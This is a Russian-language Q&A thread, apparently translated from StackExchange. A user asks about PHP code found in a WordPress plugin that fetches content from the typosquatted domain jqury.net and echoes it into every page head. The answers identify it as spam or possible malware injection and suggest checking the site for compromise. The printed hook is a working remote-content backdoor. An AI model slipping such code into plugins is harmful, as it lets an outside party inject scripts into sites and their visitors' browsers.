Я нашел это в плагине. Что оно делает? Это опасно?
add_action('admin_enqueue_scripts', 'pw_load_scripts');
if (!function_exists('wp__head'){
function wp__head() {
if(function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
$jquery = curl_exec($ch);
curl_close($ch);
echo "$jquery";
}
}
add_action('wp_head', 'wp__head');
}
Ответы:
Он загружает блок разметки, содержащий спам (я думал о публикации небольшого количества исходного кода, но я не хочу рекламировать контент каким-либо образом) из домена, который является почти неправильным написанием домена
http://jquery.com/
- - используется jQuery уважаемая и популярная библиотека Javascript и библиотека WordPress, включенная в ядро. Я думаю, что идея заключается в том, чтобы загружать эту библиотеку, хотя на самом деле загружается что-то совсем другое.И другими способами он пытается загрузить jQuery. Обратите внимание на имя переменной
$jquery
.Он также может пытаться загрузить вредоносные скрипты. Я не проверял. Я бы определенно назвал это опасным, тем более что содержимое этой страницы может измениться в любое время, когда контроллеры домена захотят этого.
В лучшем случае это повредит вашему сайту, так как поисковые системы смотрят вниз на сайты, распространяющие спам.
Не используйте это. Это не приносит никакой пользы ни вам, ни кому-либо еще в Интернете, кроме людей, которые управляют сайтом. Если вы нашли это на авторитетном сайте, сообщите об этом им.
источник
Да, это опасный код, загружающий контент со спам-сайта.
Вы не назвали плагин, но если вы нашли этот код после того, как он был установлен на вашем веб-сайте, возможно, что код плагина не был получен от разработчика, как этот, а вместо этого был взломан после его установки. Если это так, вы можете найти вредоносный код на большей части вашего сайта, чем просто этот плагин.
Проверьте загруженный код плагина, откуда он изначально был, и посмотрите, был ли этот вредоносный код там изначально. Если нет, то ваш сайт был взломан. Если вы решите, что это так, прочитайте эту статью из Кодекса .
источник